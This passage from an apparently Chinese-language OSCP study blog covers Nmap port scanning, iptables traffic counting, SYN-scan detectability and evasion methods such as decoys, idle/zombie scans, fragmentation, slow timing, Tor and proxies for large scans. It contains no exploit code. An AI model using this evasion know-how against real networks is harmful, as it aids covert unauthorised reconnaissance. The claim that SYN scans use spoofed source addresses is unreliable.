sudo iptables -I OUTPUT 1 -d 38.100.193.70 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;作用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;允许来自 &lt;code&gt;38.100.193.70&lt;/code&gt; 的入站流量（&lt;code&gt;INPUT&lt;/code&gt; 链）。&lt;/li&gt;
&lt;li&gt;允许发送到 &lt;code&gt;38.100.193.70&lt;/code&gt; 的出站流量（&lt;code&gt;OUTPUT&lt;/code&gt; 链）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：确保后续 &lt;code&gt;nmap&lt;/code&gt; 扫描不会被防火墙拦截，同时防火墙会记录流量统计。注意 &lt;code&gt;38.100.193.70&lt;/code&gt; 是OSCP官方给的练手网站的IP地址，这个IP是会变动的，请根据host的结果调整。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-2重置防火墙计数器"&gt;&lt;strong&gt;步骤 2：重置防火墙计数器&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -Z
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：清零所有 &lt;code&gt;iptables&lt;/code&gt; 规则的流量计数器（包数 &lt;code&gt;pkts&lt;/code&gt; 和字节数 &lt;code&gt;bytes&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：为后续扫描流量统计做准备，确保计数从零开始。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-3执行第一次端口扫描默认扫描"&gt;&lt;strong&gt;步骤 3：执行第一次端口扫描（默认扫描）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：扫描目标 IP 的 &lt;strong&gt;常用 1000 个端口&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：触发与目标 IP 的网络通信，防火墙会记录流量。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-4查看流量统计第一次"&gt;&lt;strong&gt;步骤 4：查看流量统计（第一次）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -vn -L
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;作用：查看防火墙规则详情：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;：显示详细计数（包数、字节数）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-n&lt;/code&gt;：不解析 IP 和端口（直接显示数字）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250706215252658" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706215252658.png"&gt;&lt;/p&gt;
&lt;h4 id="步骤-5再次重置计数器"&gt;&lt;strong&gt;步骤 5：再次重置计数器&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -Z
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：为第二次扫描准备干净的计数起点。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-6执行第二次端口扫描全端口扫描"&gt;&lt;strong&gt;步骤 6：执行第二次端口扫描（全端口扫描）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -p- 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：扫描目标 IP 的 &lt;strong&gt;全端口（1-65535）&lt;/strong&gt;，此操作耗时较长（约 10-30 分钟）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：触发更大规模的流量，对比两次扫描的流量差异。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="步骤-7查看最终流量统计"&gt;&lt;strong&gt;步骤 7：查看最终流量统计&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo iptables -vn -L
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：显示第二次扫描后的流量统计。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;目的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;比较 &lt;code&gt;pkts&lt;/code&gt; 和 &lt;code&gt;bytes&lt;/code&gt; 与第一次扫描的差异（全端口扫描的流量更大）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;验证防火墙规则是否正确捕获流量。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250706222130905" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706222130905.png"&gt;&lt;/p&gt;
&lt;h4 id="结束后清理规则"&gt;&lt;strong&gt;结束后清理规则&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 删除添加的规则（避免影响后续操作）
sudo iptables -D INPUT -s 38.100.193.70 -j ACCEPT
sudo iptables -D OUTPUT -d 38.100.193.70 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;C段全端口扫描大约消耗1gb流量，大段扫描的时候应该考虑带宽、速度、流量等问题。如果大量的去扫，还没有挂代理池的情况下，你短时间目标防火墙接搜到一个G的流量，百分百会反制封锁你的IP地址。一般扫描，最好挂代理，或者IP伪造（治标不治本），在这种情况下才可以做大量的暴力扫描，不然很容易出事。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250706220047856" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250706220047856.png"&gt;&lt;/p&gt;
&lt;h3 id="nmap的syn隐蔽扫描"&gt;Nmap的SYN“隐蔽”扫描
&lt;/h3&gt;&lt;p&gt;Nmap默认使用SYN扫描，不完成三次握手，信息未达应用层，不产生应用层日志（网络层检测），快速。现代防火墙普遍具有半开连接的检测能力，所谓的隐蔽扫描，一点都不隐蔽，反倒是对小白有误导。&lt;/p&gt;
&lt;h4 id="1-什么是-syn-扫描--ss"&gt;1. 什么是 SYN 扫描 (&lt;code&gt;-sS&lt;/code&gt;)?
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;TCP 连接建立基础：&lt;/p&gt;
&lt;p&gt;正常的 TCP 连接需要完成“三次握手”：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;客户端 -&amp;gt; 服务器：发送 &lt;code&gt;SYN&lt;/code&gt; 包 (请求建立连接)&lt;/li&gt;
&lt;li&gt;服务器 -&amp;gt; 客户端：发送 &lt;code&gt;SYN-ACK&lt;/code&gt; 包 (同意建立连接)&lt;/li&gt;
&lt;li&gt;客户端 -&amp;gt; 服务器：发送 &lt;code&gt;ACK&lt;/code&gt; 包 (确认连接建立，数据可开始传输)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SYN 扫描的原理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nmap 扮演客户端，向目标端口发送一个伪造源地址的 &lt;code&gt;SYN&lt;/code&gt; 包 (第 1 步)。&lt;/li&gt;
&lt;li&gt;如果目标端口 &lt;strong&gt;开放&lt;/strong&gt;：目标主机会回应一个 &lt;code&gt;SYN-ACK&lt;/code&gt; 包 (第 2 步)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键点来了&lt;/strong&gt;：Nmap 看到 &lt;code&gt;SYN-ACK&lt;/code&gt; 回应后，&lt;strong&gt;不会发送完成握手的 &lt;code&gt;ACK&lt;/code&gt; 包 (第 3 步)&lt;/strong&gt;！相反，它发送一个 &lt;code&gt;RST&lt;/code&gt; (复位) 包来立即终止这个半开的连接。&lt;/li&gt;
&lt;li&gt;如果目标端口 &lt;strong&gt;关闭&lt;/strong&gt;：目标主机会回应一个 &lt;code&gt;RST&lt;/code&gt; 包。&lt;/li&gt;
&lt;li&gt;如果目标端口 &lt;strong&gt;被过滤&lt;/strong&gt;（防火墙拦截）：Nmap 通常收不到任何回应，或者收到 ICMP 错误消息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为何在应用层“隐蔽”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;由于 Nmap 没有发送最后的 &lt;code&gt;ACK&lt;/code&gt; 来完成握手，&lt;strong&gt;TCP 连接从未真正建立&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;因此，&lt;strong&gt;目标端口上监听的应用程序服务程序（如 Web 服务器、数据库服务）根本没有被激活&lt;/strong&gt;。操作系统内核的网络协议栈在处理到 SYN-ACK 回复这一步后就因为收到 RST 而终止连接。&lt;/li&gt;
&lt;li&gt;结果：&lt;strong&gt;应用层日志里通常找不到这次扫描的记录。&lt;/strong&gt; 应用服务完全不知道有人尝试连接过。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-为何对小白有误导为什么说一点都不隐蔽"&gt;2. 为何“对小白有误导”？为什么说“一点都不隐蔽”？
&lt;/h4&gt;&lt;p&gt;虽然 SYN 扫描避开了应用层日志，但这&lt;strong&gt;并不意味着它在网络层面是隐蔽的或不留下痕迹&lt;/strong&gt;。主要的误导在于初学者可能会认为“不在应用日志里 == 完全隐身”。这是错误的认知。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;现代防火墙/IDS/IPS 的检测能力：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;状态检测 (Stateful Inspection)：&lt;/strong&gt; 这是现代防火墙最基本、最核心的功能之一。防火墙会跟踪所有连接的状态。当它看到一个进来的 &lt;code&gt;SYN&lt;/code&gt; 包，但随后看到的是客户端的 &lt;code&gt;RST&lt;/code&gt; 包（而不是正常的 &lt;code&gt;ACK&lt;/code&gt;）时，它就&lt;strong&gt;知道这个连接没有完成正常的三次握手&lt;/strong&gt;。这是一个非常明显的异常行为特征。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;检测 SYN 扫描模式：&lt;/strong&gt; 高级安全设备会分析网络流量模式。短时间内（几秒或几分钟内）向大量不同端口发送 &lt;code&gt;SYN&lt;/code&gt; 包，并且每个连接都停留在“半开”状态（即没有后续的 &lt;code&gt;ACK&lt;/code&gt;），这&lt;strong&gt;极其符合 SYN 端口扫描的特征模式&lt;/strong&gt;。安全设备可以很容易地通过这种流量特征或速率检测出扫描行为。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;记录和告警：&lt;/strong&gt; 虽然应用层服务没日志，但&lt;strong&gt;防火墙、入侵检测系统 (IDS)、入侵防御系统 (IPS) 和专业的网络安全监控 (NSM) 平台&lt;/strong&gt;非常擅长检测、记录和&lt;strong&gt;产生大量的告警&lt;/strong&gt;来报告 SYN 扫描活动。这些日志和告警通常包含源 IP、时间戳、扫描的端口数量等信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成“防火墙日志”：&lt;/strong&gt; 防火墙会记录这些被检测到的扫描包（丢弃的或被接受的半开连接），而这些日志是网络管理员和安全分析师最常查看的地方。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;总结 “一点都不隐蔽”：&lt;/strong&gt; 虽然 SYN 扫描避开了最表层（应用日志），但它在网络层/传输层&lt;strong&gt;留下了极其清晰、易于被现代安全设备识别的特征指纹&lt;/strong&gt;。在稍有安全防护措施的网络中，这样的扫描就像是黑夜里点燃的信号弹一样明显。安全运维人员第一时间就能看到防火墙或 SIEM 系统发出的 SYN Flood 或端口扫描告警。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-怎么达到相对隐蔽的目的"&gt;3. 怎么达到（相对）隐蔽的目的？
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;绝对的隐蔽在互联网扫描中几乎是不可能的&lt;/strong&gt;。防御方有多种手段（流量监控、蜜罐、ISP 合作等）来检测扫描活动。我们的目标通常是&lt;strong&gt;降低检测率、减少告警噪音、延缓被发现的时间、避免被轻易追踪或封禁&lt;/strong&gt;。一些更隐蔽的扫描技术包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FIN&lt;/code&gt; 扫描 (&lt;code&gt;-sF&lt;/code&gt;)， &lt;code&gt;NULL&lt;/code&gt; 扫描 (&lt;code&gt;-sN&lt;/code&gt;)， &lt;code&gt;Xmas&lt;/code&gt; 扫描 (&lt;code&gt;-sX&lt;/code&gt;):&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; 利用 TCP RFC 规定的一个“小漏洞”：当一个关闭的端口收到不携带 SYN、ACK 或 RST 标志位的怪异包（如只带 FIN、只带 NULL 标志、或者组合了 FIN/URG/PSH 像圣诞树灯一样 - 故名 Xmas）时，&lt;strong&gt;应该&lt;/strong&gt;回复一个 &lt;code&gt;RST&lt;/code&gt; 包。而开放的端口则&lt;strong&gt;应该&lt;/strong&gt;忽略这种不符合连接状态的包，不回复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相对隐蔽性：&lt;/strong&gt; 这种扫描&lt;strong&gt;不会尝试建立连接&lt;/strong&gt;（没有 SYN 包），不是半开连接。它们更像是“敲门试探”。状态防火墙跟踪连接状态时，这些包属于不连接任何现有流量的“异常包”，更难以被仅依赖状态检测的设备识别为扫描（虽然专门检测端口扫描的设备仍然可能抓到）。它们模仿的是连接关闭后残留的迷途包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;局限性：&lt;/strong&gt; 很多非 Unix 系统（如 Windows）的 TCP 栈不严格遵守 RFC，无论端口开放与否，都一律回复 RST。这使得这些扫描对 Windows 主机无效。效果高度依赖于目标系统实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ACK&lt;/code&gt; 扫描 (&lt;code&gt;-sA&lt;/code&gt;):&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; 只发送一个设置了 &lt;code&gt;ACK&lt;/code&gt; 位的 TCP 包（通常这是三次握手&lt;em&gt;之后&lt;/em&gt;的数据包才会有的标志）。不开放端口的防火墙或无状态防火墙会允许 ACK 到达主机，主机根据本地连接状态（肯定没有这个连接）回复一个 &lt;code&gt;RST&lt;/code&gt;。而开放端口且配置了严格状态防火墙的服务器可能会直接丢弃这个 ACK，或者服务器回复 RST 但防火墙阻止了（取决于防火墙规则）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的：&lt;/strong&gt; 主要用于&lt;strong&gt;探测目标主机防火墙的状态和规则&lt;/strong&gt;（是否有状态检测？是否过滤入站包？是否屏蔽特定端口？），而不是直接判断端口开放与否（虽然可以通过是否有 RST 回复间接推断端口是否被防火墙过滤）。本身不那么像端口扫描，更像是网络设备探测。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相对隐蔽性：&lt;/strong&gt; 单个 ACK 包在大量合法流量中不太起眼。不易被简单的 SYN 扫描检测规则发现。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Idle&lt;/code&gt; / Zombie 扫描 (&lt;code&gt;-sI&lt;/code&gt;)：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原理：&lt;/strong&gt; 这是最隐蔽的扫描技术之一。利用一个网络上的空闲主机（僵尸/Zombie）的 IP 标识值 (IP ID) 来间接推断目标端口的开放状态。整个过程 Nmap 自身 IP &lt;strong&gt;完全不直接与目标主机通信&lt;/strong&gt;，所有通信都由 Zombie 发起（或对 Zombie 发起的伪造包做出响应）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相对隐蔽性：&lt;/strong&gt; &lt;strong&gt;极高的隐蔽性&lt;/strong&gt;。目标主机看到的扫描来源是 Zombie 主机，而不是你的扫描机（源 IP 欺骗）。目标主机与 Zombie 主机之间的交互（探测包）更像是正常的、零星的网络试探。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;复杂性和局限性：&lt;/strong&gt; 实施非常复杂（需要找到合适的 Zombie 主机，其 IP ID 需是可预测增长的），成功率受很多因素影响（Zombie 的网络活动、路由过滤等）。效率较低。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;降低检测率的关键策略 (与扫描技术结合使用)：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;极慢速率 (&lt;code&gt;--scan-delay&lt;/code&gt;, &lt;code&gt;--max-rate&lt;/code&gt;):&lt;/strong&gt; 将扫描速度降至非常低（如每秒甚至每分钟几个包），模仿正常用户的间歇性访问，融入背景噪声。这是最有效的隐蔽手段之一，但耗时极长。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分散时间 (&lt;code&gt;-T&lt;/code&gt; ):&lt;/strong&gt; 使用 &lt;code&gt;-T 0&lt;/code&gt; (Paranoid) 或 &lt;code&gt;-T 1&lt;/code&gt; (Sneaky) 等最慢的时序模板，人为引入大量随机延迟。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;诱饵扫描 (&lt;code&gt;-D&lt;/code&gt;)：&lt;/strong&gt; 指定多个诱饵 IP（&lt;code&gt;-D decoy1,decoy2,decoy3,ME&lt;/code&gt;）。这样目标会看到来自大量不同 IP 的扫描（包括诱饵和你的真实 IP），增加了追踪真实源的难度。&lt;strong&gt;需要诱饵 IP 确实存在且在网络上可达才能有效混淆。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;源端口伪装 (&lt;code&gt;-g&lt;/code&gt;/&lt;code&gt;--source-port&lt;/code&gt;)：&lt;/strong&gt; 使用常见的、被认为合法的源端口（如 HTTP/80, DNS/53），有时可以骗过非常简陋的基于端口号的过滤规则。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分片扫描 (&lt;code&gt;-f&lt;/code&gt;, &lt;code&gt;--mtu&lt;/code&gt;)：&lt;/strong&gt; 将扫描包分片发送，增加防火墙/IDS 重组和分析内容的难度（但很多设备能重组分片）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用代理链或 Tor：&lt;/strong&gt; 通过层层代理或 Tor 网络进行扫描，隐藏扫描源的真实 IP 地址。Tor 出口节点 IP 容易被封禁且扫描速度极慢。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="总结"&gt;总结
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SYN 扫描 (&lt;code&gt;-sS&lt;/code&gt;) 原理：&lt;/strong&gt; 发送 SYN，接收 SYN-ACK 后立即发送 RST，制造“半开连接”，不建立完整连接，避开应用层日志。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;误导性/不隐蔽：&lt;/strong&gt; 因其明显的“短时间大量半开连接”特征，极易被现代状态防火墙、IDS/IPS 通过状态跟踪和流量模式分析检测到并告警。它在网络防御层留下的痕迹非常深，对新手造成了“应用层没日志=没人发现”的错误印象。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;（相对）隐蔽方法：&lt;/strong&gt; 使用非常规扫描类型 (FIN, NULL, Xmas, ACK, Idle/Zombie)，并&lt;strong&gt;最重要的结合极慢的扫描速率 (&lt;code&gt;--scan-delay&lt;/code&gt;, &lt;code&gt;-T 0/1&lt;/code&gt;)&lt;/strong&gt;，辅以诱饵 (&lt;code&gt;-D&lt;/code&gt;)、源端口伪装 (&lt;code&gt;-g&lt;/code&gt;) 或代理/Tor 等策略。&lt;strong&gt;“慢”常常是最大的隐蔽武器。&lt;/strong&gt; 但记住，没有扫描是真正完全隐形的。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;扫描命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sS -sU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -O
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 -sV -A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 --script &lt;span class="o"&gt;=&lt;/span&gt; smb-os-discovery
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap 38.100.193.70 --script &lt;span class="o"&gt;=&lt;/span&gt; dns-zone-transfer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="命令解析"&gt;&lt;strong&gt;命令解析&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sS&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：TCP SYN 扫描（半开扫描）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：发送 SYN 包，收到 SYN-ACK 即判断端口开放（不完成三次握手），速度快且隐蔽（不触发应用层日志）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限&lt;/strong&gt;：需要 &lt;code&gt;sudo&lt;/code&gt;（需构造原始数据包）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sT&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：TCP 连接扫描。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：完成完整的三次握手。速度慢但准确性高，适用于无 &lt;code&gt;sudo&lt;/code&gt; 权限时，但会触发应用层日志。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sU&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：UDP 扫描。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：向 UDP 端口发送探测包，通过响应判断状态（如 DNS/DHCP 服务）。速度极慢（UDP 无响应重传机制）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sS -sU&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：组合 TCP SYN 扫描 + UDP 扫描。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：全面检测目标机器的 TCP/UDP 开放端口。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sn&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：主机发现（Ping 扫描）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：不扫描端口，仅检测目标是否在线（使用 ARP/ICMP/TCP 等协议探测）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -O&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：操作系统指纹识别。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：通过 TCP/IP 协议栈行为（如 TTL 值、窗口大小）推测目标操作系统。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 -sV -A&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;作用：全面扫描组合。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;：服务版本探测。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-A&lt;/code&gt;：启用 OS 识别、版本探测、脚本扫描和路由跟踪。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;输出&lt;/strong&gt;：开放端口、服务版本、操作系统、可能漏洞。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 --script=smb-os-discovery&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：使用 NSE 脚本 &lt;code&gt;smb-os-discovery&lt;/code&gt; 获取 Windows/Samba 系统的操作系统信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：识别 SMB 服务的主机名、系统版本等。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sudo nmap 38.100.193.70 --script=dns-zone-transfer&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：使用 NSE 脚本 &lt;code&gt;dns-zone-transfer&lt;/code&gt; 尝试 DNS 域传送。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：检测 DNS 服务器配置错误（泄露所有域名记录）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="推荐组合命令"&gt;&lt;strong&gt;推荐组合命令&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-快速扫描基础端口--服务识别"&gt;1. &lt;strong&gt;快速扫描（基础端口 + 服务识别）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -T4 -F -sV 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-T4&lt;/code&gt;：高速模式（牺牲隐蔽性换速度）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-F&lt;/code&gt;：扫描前 100 个常见端口。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt;：探测服务版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：快速获取目标基础信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-全面扫描全端口--深度探测"&gt;2. &lt;strong&gt;全面扫描（全端口 + 深度探测）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p- -sS -sV -O -A --script=vuln 38.100.193.70
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
